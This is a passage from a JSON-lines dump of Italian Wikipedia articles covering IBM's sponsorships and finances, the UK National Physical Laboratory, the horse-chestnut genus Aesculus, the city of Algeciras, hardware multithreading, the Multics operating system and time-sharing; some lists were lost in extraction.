professionale, con IBM che ha creato il primo Masters.org (1996), la prima cam cam (1998), la prima app per iPhone con live streaming (2009) e il primo feed 4K Ultra High Definition in diretta negli Stati Uniti per un importante evento sportivo (2016). Di conseguenza, il CEO di IBM Ginni Rometty \u00e8 diventato il terzo membro femminile dell'organo di governo del Master, l'Augusta National Golf Club. IBM \u00e8 anche uno dei principali sponsor nel tennis professionale, con impegni presso gli Stati Uniti Open, Wimbledon, Australian Open e French Open. La societ\u00e0 ha anche sponsorizzato i Giochi olimpici dal 1960 al 2000 e la National Football League dal 2003 al 2012.\nNel 2012, il marchio IBM \u00e8 stato valutato in $ 75,5 miliardi e classificato da Interbrand come il secondo miglior marchio al mondo. Nello stesso anno, \u00e8 stata anche classificata la migliore compagnia per leader (Fortune), la seconda compagnia verde negli Stati Uniti (Newsweek), la seconda compagnia pi\u00f9 rispettata (Barron's), la quinta compagnia pi\u00f9 ammirata (Fortune), la diciottesima societ\u00e0 pi\u00f9 innovativa (Fast Company) e numero uno nella consulenza tecnologica e numero due nell'outsourcing (Vault). Nel 2015, Forbes ha classificato IBM il quinto marchio pi\u00f9 prezioso.\nDati economici.\nNel 2017 i ricavi sono stati pari a 79,139 miliardi $ con un utile di 5,753 miliardi $ Nel 2018 fatturato stabile (US$ 79,59 miliardi con un utile in aumento a US$ 8,72 miliardi).\nCritiche.\n, che la poneva in una posizione di diretta concorrenza con Microsoft, e successivamente per il rifiuto di rendere disponibile il relativo codice sorgente alla comunit\u00e0 Open Source."}
{"id": "26316", "revid": "1528507", "url": "https://it.wikipedia.org/wiki?curid=26316", "title": "National Physical Laboratory", "text": "Il National Physical Laboratory (NPL) \u00e8 il laboratorio nazionale per le unit\u00e0 di misura per il Regno Unito. Ha sede al Bushy Park in Teddington, nei pressi di Londra. \u00c8 la pi\u00f9 grande struttura di fisica applicata del Regno Unito ed ha un ruolo simile a quello del NIST negli Stati Uniti.\nL'NPL \u00e8 internazionalmente riconosciuto come un centro di eccellenza nel campo delle misure e della scienza dei materiali. Fin dal 1900, ha sviluppato e mantenuto i principali standard nazionali di misurazione. Oggi fornisce le risorse scientifiche al National Measurement System finanziato dal Department of Trade and Industry (Dipartimento del Commercio e dell'Industria). L'NPL inoltre offre una serie di servizi commerciali applicando le proprie conoscenze scientifiche ai problemi di misurazione industriale e trasmette il segnale orario MSF.\nL'NPL coopera con reti di professionisti come quella dell'IEE per supportare scienziati ed ingegneri nelle aree legate ai propri campi di competenza.\nTra i ricercatori che hanno lavorato presso l'NPL si possono annoverare Paul Baran e Donald Davies ideatori della tecnica della commutazione di pacchetto alla fine degli anni '60, Louis Essen che ide\u00f2 un orologio atomico pi\u00f9 preciso dei primi costruiti negli Stati Uniti, Alan Turing, uno dei padri dell'informatica che presso loro svilupp\u00f2 l'Automatic Computing Engine, Robert Watson-Watt, generalmente considerato l'inventore del radar, Oswald Kubaschewski, il padre della termodinamica dei materiali computazionale e James Wilkinson, ricercatore nell'ambito dell'analisi numerica.\nPer il 2005 \u00e8 previsto il completamento di un nuovo, avanzatissimo laboratorio costruito con l'ausilio di capitali privati."}
{"id": "26318", "revid": "1165513", "url": "https://it.wikipedia.org/wiki?curid=26318", "title": "Missouri (disambigua)", "text": ""}
{"id": "26321", "revid": "327773", "url": "https://it.wikipedia.org/wiki?curid=26321", "title": "Aesculus", "text": "Aesculus \u00e8 un genere di piante appartenente alla famiglia Sapindaceae, comprendenteuna trentina di specie di alberi di grandi dimensioni, noti con il nome comune di ippocastano, originari dell'Eurasia e del Nordamerica. Sono spesso usati come alberi ornamentali.\nDescrizione.\nTre specie del genere \"Aesculus\" sono originarie dell'Asia (\"A. turbinata, A. chinensis, A. indica\"); una, la pi\u00f9 diffusa in Europa (\"A. hippocastanum\"), proviene dalla penisola balcanica e le altre dal nord America. Importato in Italia e in Europa, l'ippocastano viene usato in special modo a scopo ornamentale e lo si pu\u00f2 trovare nei parchi e in molti giardini; ha un aspetto maestoso, la sua chioma di notevole altezza (oltre i 30 m) \u00e8 molto ampia e tondeggiante, i vistosissimi fiori ermafroditi e profumati, riuniti come grandi pannocchie, sono di colore bianco e si aprono tra aprile e maggio; la liscia corteccia \u00e8 di colore grigiastro. Le foglie decidue, di colore verde brillante, sono di forma palmata e dotate di un lungo picciolo, unite al ramo in posizione opposta.\nQuelle comunemente chiamate castagne d'India sono i semi, costituiti da grosse e lucide castagne non commestibili, racchiuse in un riccio aculeato che rappresenta il frutto (una capsula).\nTassonomia.\nIl genere comprende le seguenti specie:\nColtivazione.\nLa coltivazione dell'ippocastano \u00e8 molto semplice essendo un albero che pu\u00f2 crescere con ogni tipo di terreno e che non necessita di particolari cure. La sua moltiplicazione avviene per seme, messo a dimora subito dopo la maturazione in quanto in breve tempo perde la capacit\u00e0 germinativa. Esistono molteplici variet\u00e0 ed incroci di \"Aesculus\"; esse vengono generalmente riprodotte per innesto su pianta portaseme di \"A. hippocastanum\". L'innesto \u00e8 generalmente di tipo \"a gemma\" ma pu\u00f2 essere anche di tipo \"a spacco\".\nI frutti degli ippocastani contengono saponine e in tempi passati, dopo essere stati preventivamente macinati, venivano usati come alternativa al detersivo per il bucato."}
{"id": "26323", "revid": "1305772", "url": "https://it.wikipedia.org/wiki?curid=26323", "title": "Algeciras", "text": "Algeciras (pron. ) \u00e8 una citt\u00e0 spagnola di circa 114.000 abitanti nella provincia di Cadice, nella comunit\u00e0 autonoma dell'Andalusia.\nLa citt\u00e0 \u00e8 posta all'estremo meridionale della penisola iberica, sullo stretto di Gibilterra, in una piccola baia sopra una terrazza di arenaria rossa depositata in epoca quaternaria dal R\u00edo de la Miel.\nIl suo nome deriva dall'arabo \"Al-Jaz\u012bra al-Khadr\u0101\" (\u0627\u0644\u062c\u0632\u064a\u0631\u0629 \u0627\u0644\u062e\u0636\u0631\u0627\u0621), \"l'isola verde\", imposto nel 711 dai primi conquistatori arabi sbarcati sulla penisola.\nLa principale risorsa economica del suo territorio \u00e8 il porto situato nell'omonima baia. Il porto di Algeciras \u00e8 infatti il principale porto spagnolo per volumi di traffico merci e passeggeri. Nel corso del 2008 ha movimentato 42,7 milioni di tonnellate di merci containerizzate, a cui corrisponde un dato di 3.324.310 TEUs, e pi\u00f9 di 5 milioni di passeggeri, mostrando un trend in leggera crescita nonostante la crisi economica globale del 2009.\nStoria.\nI resti archeologici rinvenuti vi localizzano la citt\u00e0 romana di \"Iulia Traducta\", fondata tra il 33 ed il 27 a.C. per trasferirvi in maniera coatta una parte degli abitanti della citt\u00e0 nordafricana di Zilil (l'odierna As\u012blah) a causa di un'insurrezione.\nDal II secolo la zona, di grande valore strategico come ponte verso l'Africa del Nord, inizia a subire invasioni da parte di Mauritani, Suebi, Franchi, Bizantini e Visigoti; questi ultimi, con fortune alterne, riescono a mantenere il potere fino al 711, anno in cui il capitano berbero T\u0101riq ibn Ziy\u0101d sbarca a Gibilterra (dall'arabo \"Jabal T\u0101riq\", monte di T\u0101riq), iniziando la conquista della penisola.\nPare che Algeciras abbia dato i natali ad Almanzor (\"colui che \u00e8 reso vincitore da Dio\"), il grande capo militare e politico del Califfato di Cordova, guida delle campagne militari arabe nella penisola ed in Nordafrica tra il 981 ed il 1002.\nGli Arabi fortificano la citt\u00e0, costruendo l'Alc\u00e1zar, la moschea ed imponenti mura turrite che circondano l'abitato. La loro dominazione continua fino al 1342, quando un assedio durato venti mesi ad opera delle truppe di Alfonso XI di Castiglia costringe Algeciras a capitolare. Il re cattolico entra trionfalmente in citt\u00e0 il 28 marzo 1344, Domenica delle Palme: a ricordo perenne di ci\u00f2, ordina di trasformare la moschea in chiesa cristiana, rinominandola \"Nuestra Se\u00f1ora de la Palma\".\nNel 1369 i Mori, capitanati da Muhammad V di Granada, sapendola indifesa, la attaccano e la prendono, ma poi, stimando di non poterla tenere, nel 1379 la incendiano e la radono al suolo. Gli abitanti fuggono e si trasferiscono a Gibilterra.\nIl rango di cattedrale, dato con bolla pontificia alla chiesa di \"Nuestra Se\u00f1ora de la Palma\", va a Cadice, che rester\u00e0 sede vescovile fino ai giorni nostri.\nDi Algeciras non si parla pi\u00f9 fino al 4 agosto 1704, quando, come conseguenza della guerra di successione spagnola, la squadra navale anglo-olandese attacca Gibilterra, che viene occupata ed assoggettata al dominio anglosassone. I cittadini spagnoli, non volendo soggiacere agli inglesi, emigrano verso posti vicini: un gruppo si stabilisce nei pressi dell'eremo di San Roque (dove si former\u00e0 nel corso degli anni la citt\u00e0 omonima), un altro a Ceuta, enclave spagnola in Marocco, ed un ultimo presso le rovine di Algeciras nelle vicinanze di un eremo, l'attuale \"Capilla de Nuestra Se\u00f1ora de Europa\" in quella che \u00e8 oggi la \"Plaza Alta\" sulla collina. Rinasce cos\u00ec il centro abitato, inizialmente dipendente da San Roque.\nNel 1723 \u00e8 ricostruita la chiesa dedicata a \"Nuestra Se\u00f1ora de la Palma\", e nel 1748 viene fondato l\"Hospital de La Caridad\", per la cura dei poveri e degli invalidi.\nNel 1755 le viene riconosciuto lo statuto di citt\u00e0, e nasce l\"Ayuntamiento\".\nNel 1777 si procede alla costruzione dell\"Acueducto de los Arcos\", che attraversa su arcate il R\u00edo de la Miel.\nLa citt\u00e0 nel secolo successivo si consolida, ma l'occasione per fare un rapido balzo in avanti capita nel 1906, quando \u00e8 scelta come sede della Conferenza internazionale sul Marocco che vede la presenza dei rappresentanti di molte nazioni europee e nord africane. I dignitari apprezzano molto l'ospitalit\u00e0 e la bellezza dei luoghi, pubblicizzando la citt\u00e0 chiamata \"Ciudad de la bella Bah\u00eda\". Da questo momento inizia un rapido sviluppo.\nMonumenti e luoghi d'interesse.\nLuoghi interessanti sono: la Villa Vieja con resti delle mura e della grande moschea araba.\nI resti romani sulla spiaggia del Riconcillo, i resti delle mura andaluse costruite nel IX secolo durante il regno di Muhammad I emiro di Cordova e rafforzate quando sbarcarono gli Almoravidi nell'859 e costruirono un barbacane e una seconda cerchia del fosso. Pi\u00f9 tardi anche gli Almohadi sbarcarono e costruirono una torre nel XII secolo. Oggi i resti di queste edificazioni si trovano nel \"Parque Arqueologico de las Murallas Merin\u00edes\".\nLa \"Capilla de Nuestra Se\u00f1ora de Europa\" fu qui trasferita da Gibilterra nel 1704 onde evitare profanazioni da parte degli inglesi che occuparono Gibilterra. Il terremoto del 1755 che devast\u00f2 Lisbona e parte del Portogallo colp\u00ec anche la vicina Spagna meridionale, causando danni all'edificio, che fu ricostruito in stile barocco. La chiesa di \"Nuestra Se\u00f1ora de la Palma\", di forme barocche che fu costruita tra il 1723 e il 1736, fronteggia la bella piazza quadrata con una fontana in ceramica e panchine con \"azulejos\" che illustrano le imprese di Don Chisciotte. Altri monumenti sono la \"Capilla del Santo Cristo de la Alameda\" barocca, l\"Acueducto de los Arcos\" che porta l'acqua della Sierra del Cobre, costruito dal 1777 al 1783, la \"Casa Consistorial\" del 1897 ristrutturata nel 1930 con \"azulejos\" che rappresentano scene della Conferenza internazionale sul Marocco, che qui si tenne nel 1906, e paesaggi della zona.\nLa citt\u00e0 \u00e8 ricca di giardini e parchi.\nLa sua posizione risulta ottimale per il transito di merci e passeggeri, tanto che il suo porto \u00e8 al primo posto in Spagna ed al secondo in Europa per traffico marittimo.\nUn terzo del territorio comunale \u00e8 occupato dal Parco naturale Los Alcornocales caratterizzato da intensa boscosit\u00e0 e scarsa presenza di abitazioni.\nInfrastrutture e trasporti.\nEliporti.\nNel territorio \u00e8 presente l'eliporto di Algeciras.\nFeste.\nCome in ogni altro centro di Spagna il calendario delle feste di Algeciras \u00e8 molto ricco: oltre alle feste patronali delle parrocchie e dei diversi quartieri, si citano solo quelle che interessano tutta la citt\u00e0.\nIl 6 gennaio la \"\"Cabalgata de los Reyes Magos\", in febbraio il Carnevale con feste nei vari quartieri che negli ultimi giorni coinvolge tutti, tre giorni prima si ha per le vie della citt\u00e0 la \"cabalcada\" fino a raggiungere il centro dove sono incoronate la dea del carnevale e le sue ninfe. La festa continua poi nei giorni successivi con balli e canti riempiendo la citt\u00e0 di colore e musica.\nLa Settimana santa \u00e8 celebrata con processioni delle diverse confraternite piene di pathos e folklore.\nIn giugno si svolgono cinque giornate dedicate alla tauromachia con una conferenza cui partecipano famosi toreri, picadores esperti di tauromachia e intellettuali, si svolgono ovviamente anche corride e un ciclo di \"novilladas\", corride con giovani torelli che servono anche come esercitazione agli allievi della Scuola di Tauromachia di Algeciras.\nLa festa pi\u00f9 grande, detta \"Feria Real de Algeciras\" dichiarata d'interesse turistico nazionale dell'Andalusia, si tiene in giugno e dura 7 giorni. Il primo giorno \u00e8 dedicata alla proclamazione delle regine della festa una bambina e una giovane, si susseguono le corride, la citt\u00e0 \u00e8 adornata e illuminata artisticamente, alla notte si fanno fuochi artificiali, si hanno cavalcate e sfilate di carri per le vie della citt\u00e0 con lanci di caramelle e aperti ambienti di flamenco.\nIn luglio si celebra la festa di Nuestra Se\u00f1ora del Carmen patrona dei pescatori: la statua della Madonna che riposa tutto l'anno in una caverna sottomarina \u00e8 portata sulla spiaggia da nuotatori subacquei, imbarcata su un battello e portata in processione di natanti per il golfo, poi, sbarcata sulla spiaggia del Reconcilio, \u00e8 portata in processione dalle mogli, figlie, madri e sorelle dei pescatori, dopodich\u00e9 \u00e8 riportata nella sua grotta.\nAlgeciras \u00e8 anche sede di diverse fiere, mostre e conferenze, caratteristica \u00e8 in luglio la Feria de Ganado, cio\u00e8 del bestiame, in vigore da pi\u00f9 di 155 anni, dedicata ai bovini e caprini di razze selezionate.\nA 16 miglia marine, raggiungibile in battello in un'ora e mezza, si trova Ceuta una delle due \"plazas de Soberan\u00eda\"\" (\"enclave\") spagnole in territorio del Marocco, porto franco e moderna localit\u00e0 turistica balneare."}
{"id": "26324", "revid": "729019", "url": "https://it.wikipedia.org/wiki?curid=26324", "title": "Multithreading", "text": "In informatica il multithreading indica il supporto hardware da parte di un processore di eseguire pi\u00f9 thread. Questa tecnica si distingue da quella alla base dei sistemi multiprocessore per il fatto che i singoli thread condividono lo stesso spazio d'indirizzamento, la stessa cache e lo stesso translation lookaside buffer.\nIl \"multithreading\" migliora le prestazioni dei programmi solamente quando questi sono stati sviluppati suddividendo il carico di lavoro su pi\u00f9 thread che possono essere eseguiti in parallelo. Mentre i sistemi multiprocessore sono dotati di pi\u00f9 unit\u00e0 di calcolo indipendenti per le quali l'esecuzione \u00e8 effettivamente parallela, un sistema multithread invece \u00e8 dotato di una singola unit\u00e0 di calcolo che si cerca di utilizzare al meglio eseguendo pi\u00f9 thread nella stessa unit\u00e0 di calcolo. Le due tecniche sono complementari: a volte i sistemi multiprocessore implementano anche il multithreading per migliorare le prestazioni complessive del sistema.\nPanoramica.\nIl paradigma del multithreading \u00e8 diventato molto popolare verso la fine degli anni novanta quando le ricerche sull'incremento dell'instruction level parallelism si sono bloccate. Allora si \u00e8 spostata l'attenzione dall'eseguire un singolo programma alla massima velocit\u00e0 all'occupare con la massima efficienza possibile le unit\u00e0 di calcolo. Si \u00e8 appurato che molti programmi erano composti da pi\u00f9 flussi paralleli o potevano essere scomposti in pi\u00f9 thread paralleli con lievi modifiche al codice sorgente. Quindi migliorando l'esecuzione di thread paralleli si poteva migliorare l'esecuzione complessiva dei programmi. Questo ha spinto lo sviluppo dei sistemi multithreading e dei sistemi multiprocessore.\nQuesto filone di ricerca ha portato anche delle critiche, le principali sono:\nClustered Multi-Thread.\nIl \"Clustered Multi-Thread\" \u00e8 una tecnica che consente la progettazione di processori superscalari senza sacrificare tempo di ciclo, ma a costo di latenze di comunicazione maggiori.\nEsempi.\nUno dei maggiori esponenti di questa architettura sono i processori Bulldozer di AMD\nCoarse-grained multithreading.\nIdea di base.\nIl multithreading \"coarse-grained\" (a grana grossa) prevede che il processore esegua un singolo thread fino a quando questo non viene bloccato da un evento che normalmente ha una elevata latenza (per esempio un cache miss), in questo caso il processore provvede a eseguire un altro thread che era pronto per l'esecuzione. Il thread di rimpiazzo rimane in esecuzione fino a quando il primo thread non \u00e8 pronto per l'esecuzione.\nPer esempio:\nConcettualmente \u00e8 una tecnica simile a quella presente nel multitasking cooperativo dei sistemi RTOS, in questi sistemi operativi quando un programma deve attendere un evento volontariamente cede la priorit\u00e0 a un altro programma pronto all'esecuzione.\nTerminologia.\nOltre che \"Coarse-grained\" multithreading viene definito \"Block\" o \"Cooperative\" multithreading.\nCosto hardware.\nIl multithreading parte dal presupposto che il passaggio tra thread avvenga in modo rapido, questa tecnica effettua il passaggio in un ciclo di clock. Al fine di ottenere questo il processore deve replicare alcune componenti per i due thread come i registri interni, il program counter e alcuni registri di stato. Anche gli adattamenti a livello software sono relativamente modesti dato che il sistema operativo deve gestire un numero modesto di thread in esecuzione contemporanea.\nEsempi.\nMolte famiglie di microcontrollori e di processori embedded implementano una gestione di pi\u00f9 banchi di registri al fine di consentire un veloce context switch per la gestione degli interrupt. Questo pu\u00f2 essere considerato un tipo multithreading.\nFine-grained multithreading.\nIdea di base.\nUna tipologia di multithreading molto spinto prevede che il processore scambi il thread in esecuzione a ogni ciclo di clock.\nPer esempio:\nQuesta tipologia di multithreading dovrebbe rimuovere la dipendenza dai dati dei singoli thread e quindi dovrebbe azzerare o comunque ridurre gli stalli della pipeline dovuta alla dipendenza dai dati. Dato che ogni thread dovrebbe funzionare in modo indipendente i singoli thread eseguiranno programmi non correlati e quindi vi saranno poche probabilit\u00e0 che le istruzioni di un thread necessitino dei risultati elaborati da un'istruzione di un altro thread in esecuzione in quel momento.\nConcettualmente questa tecnica \u00e8 simile al multitasking preemptive presente in molti sistemi operativi. Questa analogia parte dal presupposto che ogni slot di tempo dei programmi sia posto uguale a un ciclo di clock del processore.\nTerminologia.\nQuesta tecnica di multithreading inizialmente venne chiamata \"barrel processing\" ma attualmente la terminologia moderna definisce questa tecnica come \"pre-emptive\" o \"interleaved\" o \"time-sliced\" o \"fine-grained\" multithreading.\nCosto hardware.\nIn aggiunta alle componenti indicate precedentemente questa tecnica di multithreading richiede delle componenti aggiuntive che assegnino a ogni istruzione in esecuzione un'ID che permetta di identificare il thread proprietario. Questa tecnica richiede che lo scambio tra i thread avvenga senza cicli di clock di stallo e quindi richiede hardware pi\u00f9 sofisticato; inoltre la presenza di molti thread in esecuzione in parallelo richiede generalmente cache e TLB pi\u00f9 capienti al fine di poter servire i vari thread in modo efficiente.\nSimultaneous Multi-Threading.\nIdea di base.\nI moderni processori hanno pi\u00f9 unit\u00e0 di calcolo che vengono utilizzate eseguendo le istruzioni dei singoli thread in parallelo. Gli attuali processori sono in grado di eseguire solamente poche istruzioni in parallelo di un singolo thread per via del ridotto parallelismo a livello di istruzioni che normalmente i thread possiedono. Quindi spesso alcune unit\u00e0 di elaborazione rimangono inutilizzate durante le elaborazioni. Per evitare questo il Simultaneous Multi-threading (SMT) esegue pi\u00f9 thread in contemporanea e utilizza le istruzioni dei singoli thread per mantenere le unit\u00e0 di elaborazione sempre operative.\nPer esempio:\nTerminologia.\nPer distinguerlo dagli altri tipi di multithreading il termine temporal multithreading indica un tipo di multithreading che permette il completamento di istruzioni di un solo thread per ciclo di clock.\nCosto hardware.\nIn aggiunta all'hardware richiesto dal precedente tipo di multithreading, questa tecnica richiede che ogni stadio della pipeline tracci il thread d'appartenenza dell'istruzione e, dato che il processore ha pi\u00f9 unit\u00e0 d'esecuzione, vi sono molte istruzioni da tracciare. Inoltre la cache e la TLB devono essere molto ampie per poter gestire un numero di thread cos\u00ec elevato dato che, eseguendo molte pi\u00f9 istruzioni in parallelo, si fa un uso molto intenso delle risorse suddette.\nRicerca.\nAttualmente la ricerca di settore si concentra su tecniche che permettano di scegliere rapidamente il thread da mandare in esecuzione in caso di stallo del thread in esecuzione. Un importante filone di ricerca \u00e8 lo scheduler dei thread, che pu\u00f2 essere gestito a livello hardware, a livello software o con un approccio misto.\nUn'altra area di ricerca riguarda la tipologia di eventi che devono provocare uno scambio dei thread in esecuzione (cache miss, DMA, comunicazione inter thread, etc).\nSe il multithreading replica tutti i registri visibili a livello software \u00e8 possibile utilizzare il multithreading per implementare delle macchine virtuali. Ogni thread si troverebbe a gestire una propria macchina virtuale come se fosse eseguita da un processore separato e quindi potrebbe arrivare ad eseguire anche un intero sistema operativo indipendente."}
{"id": "26326", "revid": "1543377", "url": "https://it.wikipedia.org/wiki?curid=26326", "title": "Multics", "text": "Multics (\"Multiplexed Information and Computing Service\") fu uno dei primi sistemi operativi in \"condivisione di tempo\", sviluppato attivamente a partire dal 1964. Nella sua concezione originale avrebbe dovuto servire le necessit\u00e0 di calcolo dell'intera citt\u00e0 di Boston, similmente ad un servizio di distribuzione di elettricit\u00e0 o acqua corrente. \nMultics mise sul campo tutta una serie di concetti e tecniche costruttive che sono ancora oggi elementi essenziali dei moderni sistemi operativi. Il sistema venne modificato nell'arco degli anni seguenti per essere usato su varie macchine.\nNell'ottobre del 2007 il MIT ha deciso di rendere pubblico il codice sorgente del sistema operativo.\nIl nome del sistema operativo Unix nacque in contrapposizione a Multics.\nFilosofia e storia.\nLo sviluppo di Multics inizia nel 1964 al Project MAC. Viene presentato per la prima volta nel 1965 alla \"Fall Joint Computer Conference\", tramite una serie di sei seminari:\nScopi principali.\nIn \u201c\"Introduction and Overview of the Multics System\"\u201d, di Corbat\u00f3 e Vyssotsky, tra gli scopi principali di Multics troviamo:\nQuindi tra gli scopi principali del progetto troviamo l'abilitazione di utenti remoti all'utilizzo di un computer, ed \u00e8 per questo che il \"time-sharing\" \u00e8 una delle caratteristiche fondamentali del sistema: permette cio\u00e8 a pi\u00f9 utenti di utilizzare interattivamente lo stesso computer. Diviene importante quindi anche la sicurezza e la riservatezza dei dati degli utenti.\nOltre a questi aspetti prettamente tecnici, lo scopo maggiore del progetto era sottolineare l'importanza della progettazione di un'architettura. Nello sviluppo di Multics si teneva sempre in considerazione questi tre punti:\nSviluppo e commercio.\nAllo sviluppo di Multics lavorarono tre enti: MIT, Bell Labs e General Electric. Le scelte politiche riguardanti il progetto venivano prese dalla \u201cTrinit\u00e0\u201d, composta da tre persone provenienti dai tre diversi enti:\nLe scelte tecniche erano gestite dal \u201cTriumvirato\u201d, la cui prima formazione era:\nMentre l'ultima fu:\nJerome H. Saltzer e Edward L. Glaser furono consulenti del \u201cTriumvirato\u201d.\nLa prima shell fu sviluppata da Glenda Schroeder.\nNel 1969 i Bell Labs abbandonarono il progetto ritenendolo poco utilizzabile nella pratica. Nel 1970 subentr\u00f2 cos\u00ec la Honeywell, acquistando la divisione computer della General Electric. La Honeywell commercializz\u00f2 Multics a partire dal 1973, il prezzo dell'architettura hardware e del sistema operativo era sette milioni di dollari. I siti venduti nei venti anni successivi furono un centinaio.\nLo sviluppo di Multics termina nel 1985 e l'ultima installazione attiva viene definitivamente spenta nell'ottobre del 2000 al Canadian Department of National Defence.\nGestione della memoria.\nLa memoria di Multics \u00e8 gestita con segmentazione e paginazione. Nella tabella sono riportate le dimensioni delle strutture principali:\nIn Multics i segmenti sono utilizzati per contenere tutte le strutture dati tipiche di un sistema operativo: i programmi, i dati, la pila e i file. Questi ultimi, infatti, nel momento in cui un processo li apre, sono associati ad un segmento e tale segmento far\u00e0 parte del suo spazio di indirizzamento (la memoria virtuale indirizzata dal processo), ottenendo cos\u00ec la possibilit\u00e0 per il processo di utilizzare il file.\nI segmenti sono condivisibili tra processi grazie a strutture dati del kernel. Solo il kernel pu\u00f2 avere dei segmenti non associati a file: l'unico modo in cui un utente pu\u00f2 creare un segmento \u00e8 aprire un file, per questo Multics prevede per ogni processo una \"process directory\", cio\u00e8 una cartella dove pu\u00f2 creare segmenti temporanei.\nMentre i segmenti sono una struttura gestibile dai programmatori ad alto livello, le pagine sono invisibili e vengono gestite dal sistema operativo. Multics implementa la classica paginazione su domanda e l'algoritmo utilizzato per la sostituzione delle pagine \u00e8 LRU, \"Least Recently Used\", approssimato con un bit.\n\"Dynamic Linking\".\nIn Multics non esiste un caricatore o \"loader\". Cio\u00e8 se un processo esegue una funzione esterna, non dichiarata nel suo programma, cerca il segmento dove questa \u00e8 caricata e lo aggiunge al suo spazio di indirizzamento, in modo da poterla eseguire. Questo viene chiamato \"dynamic linking\" e viene realizzato secondo uno schema di fault: se la funzione da eseguire non si trova nello spazio di indirizzamento del processo, abbiamo un \"linkage fault\", il cui \"handler\" (funzione apposita per la gestione del fault) provvede a cercare il segmento contenente la funzione desiderata. Se anche questa ricerca fallisce riceviamo un messaggio di fault non eliminabile, altrimenti il processo pu\u00f2 eseguire la funzione di cui aveva bisogno.\nGestione dei processi.\nNegli anni la funzione di scheduling di Multics \u00e8 stata modificata e nuove caratteristiche sono state aggiunte:\nExponential scheduler.\nL\"'Exponential scheduler\" implementa il \"time-sharing\" ed \u00e8 organizzato su code di priorit\u00e0. Nella terminologia di Multics l'intervallo temporale che caratterizza il time-sharing \u00e8 detto \"quanto\". Se il processo \u00e8 ancora in esecuzione al termine del proprio \"quanto\", viene abbassato di priorit\u00e0 e il suo \"quanto\" viene raddoppiato (da questo nasce il nome \"exponential\" o esponenziale). Questo garantisce l'interattivit\u00e0 dei processi pi\u00f9 corti rimandando l'esecuzione di quelli che occupano il processore per molto tempo. Questo scheduler viene chiamato \"Foreground-Background scheduler\" proprio per il fatto che sposta i processi nelle classi di priorit\u00e0: dal \u201cprimo piano\u201d (\"foreground\") verso lo \u201csfondo\u201d (\"background\").\nPercentage scheduler.\nIn Multics troviamo inoltre il \"Percentage scheduler\", o \"Workclass scheduler\", che organizza i processi dei diversi gruppi di utenti, detti \"workclass\". Ci sono infatti 16 gruppi e ogni utente \u00e8 parte di uno di questi. L'amministratore del sistema assegna una percentuale di utilizzo del processore ad ogni gruppo e lo scheduler si comporta in modo che la quantit\u00e0 di lavoro effettuata dagli utenti sia proporzionale a questa percentuale. \nSe non ci sono processi pronti per un gruppo allora la loro percentuale viene suddivisa tra gli altri. Il tutto viene fatto tramite un sistema di crediti detti \"scatter credits\", che permettono al sistema operativo di decidere in quale gruppo scegliere il prossimo processo. All'interno di ogni gruppo lo \"sceduling\" viene effettuato secondo la politica, detta sopra, del \"Forground-Background scheduler\".\nDeadline scheduler.\nInfine Multics permette di schedulare tramite il \"Deadline scheduler\", definendo per ogni gruppo delle scadenze o \u201ctempi limite\u201d (caratteristica tipica dei sistemi in tempo reale). Si possono quindi ordinare i processi secondo due parametri: il tempo di risposta o il tempo di inizio. Nel primo caso parliamo di \"scadenza virtuale\", si privilegia tra tutti i processi di tutti i \"workclass\" quello che terminer\u00e0 prima. Si dice \u201cvirtuale\u201d poich\u00e9, a differenza dei sistemi in tempo reale, tale scadenza non \u00e8 critica, \u00e8 solo un parametro di ordinamento. L'altro criterio \u00e8 il tempo di inizio, detto in Multics \"realtime deadlines\". Questo definisce quando un processo passer\u00e0 in esecuzione ignorando gli altri parametri di scheduling. Questi due aspetti dello scheduler di Multics furono aggiunti da Bob Mullen con due scopi precisi: garantire maggiore efficienza per i processi gestori di periferiche e migliorare le prestazioni di alcuni benchmark.\nRing di protezione.\nIn Multics, per distinguere i privilegi di un processo, invece del classico sistema utente/supervisore, si utilizza una gerarchia con pi\u00f9 stati. Un processo pu\u00f2 essere eseguito in uno dei diversi \"rings\" o anelli: immaginiamo diversi anelli concentrici dove il pi\u00f9 esterno rappresenta processi poco privilegiati, mentre l'anello centrale, o \"ring 0\", sar\u00e0 il pi\u00f9 privilegiato. Quindi i diritti di accesso alle risorse del sistema diminuiscono man mano che ci si allontana dal centro. In Multics i primi tre \"rings\" sono riservati al sistema operativo, mentre gli altri sono utilizzabili dai processi utente. Tramite i \"gates\" (letteralmente \"portali\"), un processo di un ring pi\u00f9 alto pu\u00f2 accedere funzionalit\u00e0 concesse a ring pi\u00f9 bassi.\nGestione delle periferiche.\nL'idea centrale della gestione delle periferiche in Multics \u00e8 quella della modularit\u00e0, al fine di garantire compatibilit\u00e0 e estendibilit\u00e0. Il sistema Input/Output di Multics fornisce infatti un'interfaccia indipendente dalle periferiche, che vengono gestite attraverso uno stream Input/Output: tutte le richieste vengono cio\u00e8 sequenzializzate. Queste successivamente vengono convertite in istruzioni specifiche per ogni periferica da un apposito modulo chiamato DIM, \"Device Interface Module\". Questo converte le richieste da \"device-independent\" (indipendenti dalla periferica) in richieste \"device-dependent\" (dipendenti dalla periferica). Per farlo, compila un programma per il GIOC (\"Generalized Input/Output Controller\"). Il programma compilato rispecchia le particolarit\u00e0 specifiche di ogni periferica, necessarie per il suo utilizzo. Il DIM, ad esempio, deve convertire la codifica dei caratteri usati dal sistema in quella specifica per la periferica: si potevano infatti collegare a Multics differenti tipologie di terminali remoti, ognuno con la propria codifica di caratteri. I diversi DIM e il GIOC interagiscono tramite il GIM, \"GIOC Interface Module\"."}
{"id": "26327", "revid": "112829907", "url": "https://it.wikipedia.org/wiki?curid=26327", "title": "Time-sharing", "text": "Il time-sharing (anche timesharing, altrimenti detto ripartizione di tempo o condivisione di tempo), in informatica, \u00e8 un modo del sistema operativo rivolto all'uso delle risorse di processamento, attraverso il quale l'esecuzione dell'attivit\u00e0 dell'unit\u00e0 di elaborazione centrale viene suddivisa in \"quanti\" o intervalli temporali. Ogni quanto \u00e8 assegnato sequenzialmente a vari processi di uno stesso utente o a processi di pi\u00f9 utenti. \nDescrizione.\nIn italiano \u00e8 tradotto sia con \u00abripartizione di tempo\u00bb che con \u00abcondivisione di tempo\u00bb. La prima traduzione, ripartizione di tempo, \u00e8 pi\u00f9 fedele rispetto a ci\u00f2 che effettivamente accade nel sistema operativo, ma meno rispondente al termine inglese e alla sua collocazione storica. La tecnica time-sharing, infatti, fu introdotta come evoluzione di quella batch, per permettere a pi\u00f9 utenti contemporaneamente di utilizzare il computer. La sincronia \u00e8 apparente, poich\u00e9 in ogni istante il processore centrale esegue un solo processo; il rapido avvicendamento dei processi li fa apparire come eseguiti contemporaneamente. 